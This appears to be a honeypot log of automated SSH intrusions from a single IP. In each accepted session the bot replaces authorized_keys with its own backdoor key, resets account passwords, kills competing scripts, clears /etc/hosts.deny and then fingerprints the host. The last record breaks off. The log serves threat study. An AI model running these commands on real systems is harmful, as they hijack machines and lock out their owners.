{"id":"6bff129b-5dbc-4096-be09-3d86b0074ffd","name":"mindful-airy-bunting","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":52984,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:35:41.014519+00:00","ended_at":"2026-08-27T12:35:42.372176+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:35:23.510903+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:35:23.772793+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:35:27.214312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:35:27.953582+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:35:28.213652+00:00","kind":"input","latency_ms":null,"data":"echo -e \"a\\nUxAQ8MKphSau\\nUxAQ8MKphSau\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:35:28.474311+00:00","kind":"input","latency_ms":null,"data":"echo \"a\\nUxAQ8MKphSau\\nUxAQ8MKphSau\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:35:28.735892+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:35:29.409139+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:35:29.670615+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:35:30.576629+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:35:30.856374+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:35:32.192484+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:35:32.460579+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:35:32.836435+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:35:33.096521+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:35:33.817452+00:00","kind":"output","latency_ms":null,"data":" 12:35:33 up 7 days, 9:25, 0 user, load average: 0.19, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:35:34.081293+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:35:34.356909+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:35:34.617753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:35:35.362419+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:35:35.623603+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:35:36.246852+00:00","kind":"output","latency_ms":null,"data":"top - 12:35:36 up 7 days, 9:25, 0 user, load average: 0.19, 0.24, 0.18\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:35:36.508003+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:35:37.103335+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:35:37.379283+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:35:38.240751+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:35:38.498648+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:35:39.277853+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-27T12:35:39.540324+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:35:40.747195+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:35:41.015123+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:35:42.295041+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"a","method":"password","accepted":true,"tier":"other"}]} {"id":"e2cee207-c320-4c93-ae0a-b9e5e607dad8","name":"velvet-granite-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53010,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:25.663054+00:00","ended_at":"2026-08-27T12:35:27.141322+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"38c40f76-355e-43c9-b7bf-0f4408d0ace6","name":"creaky-sooty-condor","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":53000,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:35:24.371041+00:00","ended_at":"2026-08-27T12:35:25.146167+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"76f346a1-f615-4192-8f06-bceee895d849","name":"vigilant-eager-ferret","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51388,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":259,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:33:36.913486+00:00","ended_at":"2026-08-27T12:33:39.163783+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:33:17.772293+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:33:18.031761+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:33:22.523118+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:33:23.134576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:33:23.393004+00:00","kind":"input","latency_ms":null,"data":"echo \"root:JCAxecqOOcIl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:33:23.650629+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:33:23.907791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:33:24.647015+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:33:24.911369+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:33:25.970722+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:33:26.229483+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:33:27.815901+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:33:28.075815+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:33:28.516947+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:33:28.776751+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:33:29.628101+00:00","kind":"output","latency_ms":null,"data":" 12:33:29 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:33:29.886709+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:33:30.339192+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:33:30.598482+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:33:31.021900+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:33:31.281655+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:33:31.812638+00:00","kind":"output","latency_ms":null,"data":"top - 12:33:31 up 7 days, 9:23, 0 user, load average: 0.02, 0.03, 0.02\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7467 free, 8420 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:33:32.072019+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:33:32.732535+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:33:32.994365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:33:33.360331+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:33:33.619238+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:33:34.584438+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:33:34.843103+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:33:36.654884+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:33:36.914083+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:33:39.089193+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe@123456789","method":"password","accepted":true,"tier":"other"}]} {"id":"20f3ca35-e4c1-4e79-9bfe-e5ec9d9c89ed","name":"feral-fierce-goose","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51402,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:20.567470+00:00","ended_at":"2026-08-27T12:33:22.449147+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dc2bcc39-ea57-4c25-a79e-bd9131bf0f47","name":"blazing-indigo-fieldfare","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51394,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:33:18.618524+00:00","ended_at":"2026-08-27T12:33:20.042218+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bda5fd82-149a-466a-b1a2-d839e9b74824","name":"emerald-tawny-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":56260,"username":"esadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:31:33.624503+00:00","ended_at":"2026-08-27T12:31:34.849961+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2266,"events":[{"seq":1,"at":"2026-08-27T12:31:16.527581+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:31:16.787087+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:31:20.624688+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:31:21.044703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:31:21.307533+00:00","kind":"input","latency_ms":null,"data":"echo -e \"esadmin@2024\\nklffYpUQcTN3\\nklffYpUQcTN3\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:31:21.567104+00:00","kind":"input","latency_ms":null,"data":"echo \"esadmin@2024\\nklffYpUQcTN3\\nklffYpUQcTN3\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:31:21.828707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:31:22.182302+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:31:22.445955+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:31:23.809033+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:31:24.072861+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:31:25.178194+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:31:25.438902+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:31:25.839068+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:31:26.101946+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:27.243191+00:00","kind":"output","latency_ms":null,"data":" 12:31:27 up 7 days, 9:21, 0 user, load average: 0.06, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:27.508308+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:27.967953+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:28.229462+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:28.663262+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:28.924290+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:29.282794+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:29 up 7 days, 9:21, 0 user, load average: 0.06, 0.06, 0.06\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:29.545607+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:30.225272+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:30.487948+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:30.974517+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:31.237816+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:31.523185+00:00","kind":"output","latency_ms":null,"data":"esadmin"},{"seq":29,"at":"2026-08-27T12:31:31.786035+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:33.362135+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:33.625479+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:34.773916+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"esadmin","password":"esadmin@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"c13d7269-efbb-4d3a-b4f5-bef321686ba6","name":"snowy-seaward-antelope","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":56284,"username":"esadmin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:19.414910+00:00","ended_at":"2026-08-27T12:31:20.550789+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"esadmin","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a0374ad6-7ad6-4a8e-8da9-48293e573f2a","name":"sandy-lunar-redshank","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":56274,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:17.381128+00:00","ended_at":"2026-08-27T12:31:18.886204+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e5ebfb99-0401-4147-b4b9-c5fff6839c7d","name":"verdant-breezy-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":53220,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:36.925712+00:00","ended_at":"2026-08-27T12:29:37.877115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:29:18.800061+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:29:19.064732+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:22.400240+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:23.186181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:23.448300+00:00","kind":"input","latency_ms":null,"data":"echo \"root:VhLEsFNEG4bc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:29:23.717063+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:29:23.980930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:24.706582+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:24.971366+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:25.979106+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:26.248254+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:27.531371+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:27.803351+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:28.536218+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:28.802270+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:29.082143+00:00","kind":"output","latency_ms":null,"data":" 12:29:29 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:29.347874+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:30.508210+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:30.772964+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:31.402895+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:31.668077+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:32.383078+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:32 up 7 days, 9:19, 0 user, load average: 0.27, 0.31, 0.2\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 